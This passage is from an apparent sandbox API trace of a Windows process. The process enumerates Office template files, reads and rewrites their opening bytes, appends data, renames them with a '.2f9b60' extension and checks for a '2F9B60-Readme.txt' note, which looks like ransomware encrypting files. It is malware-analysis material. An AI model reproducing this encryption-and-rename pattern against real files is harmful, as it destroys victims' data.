0x5d8c8d4e [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0xe5b4c6 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x6f5058c6 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x478aeb65 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x2556bcdc [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x50033a6d [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x2897a029 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x6474ed62 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x2e12878d [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x4bf79388 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x6939d139 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x79fd90d [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x22266d40 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x1320587c [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0xb841adf [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x5fc0981 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x1c2042e9 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x6b902a58 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x635069f5 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x4d2e9012 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x343d06e8 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x4f7392e4 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x60498d08 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x5000de2a [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x2b8db7b4 [0139.025] RtlRandomEx (in: Seed=0x38b1fa30 | out: Seed=0x38b1fa30) returned 0x783fc59a [0139.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b010 [0139.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b040 [0139.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205afe0) returned 1 [0139.033] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ad70) returned 1 [0139.033] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x420f79e0 [0139.033] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.033] ReadFile (in: hFile=0x1e80, lpBuffer=0x420f79e0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38b1faa0, lpOverlapped=0x0 | out: lpBuffer=0x420f79e0*, lpNumberOfBytesRead=0x38b1faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0139.091] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420612b0 [0139.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42119960 [0139.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b310 [0139.092] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b340 [0139.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b340) returned 1 [0139.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0139.092] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.092] WriteFile (in: hFile=0x1e80, lpBuffer=0x42119960*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x38b1faa0, lpOverlapped=0x0 | out: lpBuffer=0x42119960*, lpNumberOfBytesWritten=0x38b1faa0*=0x3c00, lpOverlapped=0x0) returned 1 [0139.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42119960) returned 1 [0139.134] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420f79e0) returned 1 [0139.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda02f0 [0139.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061330 [0139.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0139.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0139.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cda0270 [0139.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0139.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0139.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0139.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061330) returned 1 [0139.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x168120 [0139.135] SetFilePointerEx (in: hFile=0x1e80, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0139.135] WriteFile (in: hFile=0x1e80, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x38b1fb50, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x38b1fb50*=0x116, lpOverlapped=0x0) returned 1 [0139.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0139.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866740 [0139.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b400 [0139.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b400) returned 1 [0139.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4205b400 [0139.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b460 [0139.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b490 [0139.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b490) returned 1 [0139.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866740) returned 1 [0139.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0139.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9d490 [0139.166] sprintf (in: _Dest=0x1cd9d490, _Format="%c%c" | out: _Dest="c3") returned 2 [0139.166] sprintf (in: _Dest=0x1cd9d492, _Format="%c%c" | out: _Dest="d8") returned 2 [0139.166] sprintf (in: _Dest=0x1cd9d494, _Format="%c%c" | out: _Dest="ee") returned 2 [0139.166] sprintf (in: _Dest=0x1cd9d496, _Format="%c%c" | out: _Dest="1d") returned 2 [0139.166] sprintf (in: _Dest=0x1cd9d498, _Format="%c%c" | out: _Dest="fe") returned 2 [0139.166] sprintf (in: _Dest=0x1cd9d49a, _Format="%c%c" | out: _Dest="71") returned 2 [0139.166] sprintf (in: _Dest=0x1cd9d49c, _Format="%c%c" | out: _Dest="ab") returned 2 [0139.166] sprintf (in: _Dest=0x1cd9d49e, _Format="%c%c" | out: _Dest="2d") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4a0, _Format="%c%c" | out: _Dest="5a") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4a2, _Format="%c%c" | out: _Dest="eb") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4a4, _Format="%c%c" | out: _Dest="66") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4a6, _Format="%c%c" | out: _Dest="a7") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4a8, _Format="%c%c" | out: _Dest="9e") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4aa, _Format="%c%c" | out: _Dest="a0") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4ac, _Format="%c%c" | out: _Dest="b1") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4ae, _Format="%c%c" | out: _Dest="b0") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4b0, _Format="%c%c" | out: _Dest="03") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4b2, _Format="%c%c" | out: _Dest="f4") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4b4, _Format="%c%c" | out: _Dest="0d") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4b6, _Format="%c%c" | out: _Dest="0b") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4b8, _Format="%c%c" | out: _Dest="2a") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4ba, _Format="%c%c" | out: _Dest="7c") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4bc, _Format="%c%c" | out: _Dest="d3") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4be, _Format="%c%c" | out: _Dest="b8") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4c0, _Format="%c%c" | out: _Dest="14") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4c2, _Format="%c%c" | out: _Dest="60") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4c4, _Format="%c%c" | out: _Dest="af") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4c6, _Format="%c%c" | out: _Dest="93") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4c8, _Format="%c%c" | out: _Dest="ec") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4ca, _Format="%c%c" | out: _Dest="dc") returned 2 [0139.167] sprintf (in: _Dest=0x1cd9d4cc, _Format="%c%c" | out: _Dest="c7") returned 2 [0139.168] sprintf (in: _Dest=0x1cd9d4ce, _Format="%c%c" | out: _Dest="44") returned 2 [0139.168] sprintf (in: _Dest=0x1cd9d4d0, _Format="%c%c" | out: _Dest="75") returned 2 [0139.168] sprintf (in: _Dest=0x1cd9d4d2, _Format="%c%c" | out: _Dest="fb") returned 2 [0139.168] sprintf (in: _Dest=0x1cd9d4d4, _Format="%c%c" | out: _Dest="05") returned 2 [0139.168] sprintf (in: _Dest=0x1cd9d4d6, _Format="%c%c" | out: _Dest="77") returned 2 [0139.168] RtlInitAnsiString (in: DestinationString=0x38b1fbc8, SourceString="c3d8ee1dfe71ab2d5aeb66a79ea0b1b003f40d0b2a7cd3b81460af93ecdcc74475fb0577" | out: DestinationString="c3d8ee1dfe71ab2d5aeb66a79ea0b1b003f40d0b2a7cd3b81460af93ecdcc74475fb0577") [0139.168] RtlAnsiStringToUnicodeString (in: DestinationString=0x38b1fb98, SourceString="c3d8ee1dfe71ab2d5aeb66a79ea0b1b003f40d0b2a7cd3b81460af93ecdcc74475fb0577", AllocateDestinationString=1 | out: DestinationString="c3d8ee1dfe71ab2d5aeb66a79ea0b1b003f40d0b2a7cd3b81460af93ecdcc74475fb0577") returned 0x0 [0139.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x202b0150 [0139.168] RtlFreeAnsiString (AnsiString="c") [0139.168] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d490) returned 1 [0139.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b400) returned 1 [0139.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b460) returned 1 [0139.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x168120) returned 1 [0139.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda0270) returned 1 [0139.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0139.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cda02f0) returned 1 [0139.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b310) returned 1 [0139.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205af50) returned 1 [0139.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b010) returned 1 [0139.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b040) returned 1 [0139.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x202b1550 [0139.170] wcscat (in: _Dest=0x202b1550, _Source="c3d8ee1dfe71ab2d5a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3d8ee1dfe71ab2d5a") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3d8ee1dfe71ab2d5a" [0139.170] wcscat (in: _Dest=0x202b1550, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3d8ee1dfe71ab2d5a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3d8ee1dfe71ab2d5a.2f9b60" [0139.170] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3d8ee1dfe71ab2d5a.2f9b60", NtPathName=0x38b1fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\c3d8ee1dfe71ab2d5a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0139.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x106640 [0139.170] NtSetInformationFile (FileHandle=0x1e80, IoStatusBlock=0x38b1fc10, FileInformation=0x106640, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0139.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106640) returned 1 [0139.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecd460) returned 1 [0139.173] NtQueryInformationFile (in: FileHandle=0x1e80, IoStatusBlock=0x38b1fbd8, FileInformation=0x38b1fbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38b1fbd8, FileInformation=0x38b1fbe8) returned 0x0 [0139.173] NtSetInformationFile (FileHandle=0x1e80, IoStatusBlock=0x38b1fbd8, FileInformation=0x38b1fbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0139.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b1550) returned 1 [0139.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0150) returned 1 [0139.175] FlushFileBuffers (hFile=0x1e80) returned 1 [0139.176] CloseHandle (hObject=0x1e80) returned 1 [0139.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4c4f0 [0139.178] wcscpy (in: _Dest=0x1cf4c4f0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0139.178] wcscat (in: _Dest=0x1cf4c4f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0139.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0139.178] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c4f0) returned 1 [0139.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85bac0) returned 1 Thread: id = 2115 os_tid = 0x1444 [0138.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x42061230 [0138.937] wcscpy (in: _Dest=0x42061230, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" [0138.937] wcscat (in: _Dest=0x42061230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\" [0138.937] wcscat (in: _Dest=0x42061230, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*" [0138.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20501690 [0138.937] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\*", lpFindFileData=0x20501690 | out: lpFindFileData=0x20501690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9daf0 [0138.981] wcscmp (_String1=".", _String2=".") returned 0 [0138.981] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x20501690 | out: lpFindFileData=0x20501690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3aa710, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.981] wcscmp (_String1="..", _String2=".") returned 1 [0138.981] wcscmp (_String1="..", _String2="..") returned 0 [0138.981] FindNextFileW (in: hFindFile=0x1cd9daf0, lpFindFileData=0x20501690 | out: lpFindFileData=0x20501690*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e3aa710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x1443f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EquityFax.Dotx", cAlternateFileName="EQUITY~1.DOT")) returned 1 [0138.981] wcscmp (_String1="EquityFax.Dotx", _String2=".") returned 1 [0138.981] wcscmp (_String1="EquityFax.Dotx", _String2="..") returned 1 [0138.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86c1b0 [0138.982] wcscpy (in: _Dest=0x1b86c1b0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX" [0138.982] wcscat (in: _Dest=0x1b86c1b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\" [0138.982] wcscat (in: _Dest=0x1b86c1b0, _Source="EquityFax.Dotx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" [0151.961] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx")) returned 0x20 [0151.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx", dwFileAttributes=0x20) returned 1 [0151.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\FAX\\EquityFax.Dotx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\fax\\equityfax.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25ac [0151.963] GetFileSizeEx (in: hFile=0x25ac, lpFileSize=0x38bcf820 | out: lpFileSize=0x38bcf820*=83007) returned 1 [0151.963] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x1443b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.963] ReadFile (in: hFile=0x25ac, lpBuffer=0x38bcf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38bcf7e8, lpOverlapped=0x0 | out: lpBuffer=0x38bcf7a0*, lpNumberOfBytesRead=0x38bcf7e8*=0x4, lpOverlapped=0x0) returned 1 [0151.984] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500560 [0151.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205005f0 [0151.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500620 [0151.985] NtQuerySystemTime (in: CurrentTime=0x38bcf6e0 | out: CurrentTime=0x38bcf6e0*=132462177571930000) returned 0x0 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x1c0a6a2e [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x65e33a12 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x349feb75 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x4b5f1a6 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x56a8c491 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x5d537829 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x2764eaa7 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x6890b646 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x7ccdb074 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x1339ec79 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x2be4d5de [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x1b82842e [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x141cbb9c [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x5bb730a1 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x2c83ab25 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x7f194cfb [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x3fe4d4bb [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x25d32ec9 [0151.985] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x7dcb055 [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x3f57ffa3 [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x36f11674 [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x40ef8aab [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x76e573c8 [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x24d3ad46 [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x2244ecfa [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x6829831c [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x2d14c7bd [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x178dfc4f [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x68222d85 [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x6f283fb4 [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0x3a2592f0 [0151.986] RtlRandomEx (in: Seed=0x38bcf6d0 | out: Seed=0x38bcf6d0) returned 0xfc98b2c [0151.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500650 [0151.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868f40 [0151.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500680 [0151.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868f40) returned 1 [0151.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500620) returned 1 [0151.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500560) returned 1 [0151.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4259b5c0 [0151.994] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.994] ReadFile (in: hFile=0x25ac, lpBuffer=0x4259b5c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x38bcf740, lpOverlapped=0x0 | out: lpBuffer=0x4259b5c0*, lpNumberOfBytesRead=0x38bcf740*=0x3c00, lpOverlapped=0x0) returned 1 [0152.031] SetFilePointerEx (in: hFile=0x25ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, 